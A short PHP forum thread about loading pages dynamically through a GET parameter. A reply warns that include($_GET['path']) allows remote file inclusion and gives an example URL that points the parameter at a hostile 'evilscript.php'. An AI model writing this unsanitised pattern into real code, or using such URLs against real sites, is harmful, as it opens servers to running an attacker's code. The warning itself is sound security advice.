Loading External .php file

PHP programming forum. Ask questions or help people concerning PHP code. Don't understand a function? Need help implementing a class? Don't understand a class? Here is where to ask. Remember to do your homework!

Moderator: General Moderators

Post Reply
roadkillguy
Forum Newbie
Posts: 7
Joined: Sun Feb 22, 2009 11:26 am

Loading External .php file

Post by roadkillguy »

I'm trying to make a fairly dynamic website, and I was wondering how you could load an external .php web file with <?php ?> tags in it. I want to have one 'content' webpage, that can load other pages using the GET method. Can you do this?
roadkillguy
Forum Newbie
Posts: 7
Joined: Sun Feb 22, 2009 11:26 am

Re: Loading External .php file

Post by roadkillguy »

Haha wow... solved my own problem.
Include() will solve it just fine.

Thanks anyway
shawngoldw
Forum Contributor
Posts: 212
Joined: Mon Apr 05, 2010 3:38 pm

Re: Loading External .php file

Post by shawngoldw »

be careful if you're getting the file names from GET variables.

Code: Select all

include($_GET['path']);
I can type in my address bar:
yoursite.com/page.php?path=mysite.com/evilscript.php


then you would be including my evilscript rather than the file you really wanted to.
Post Reply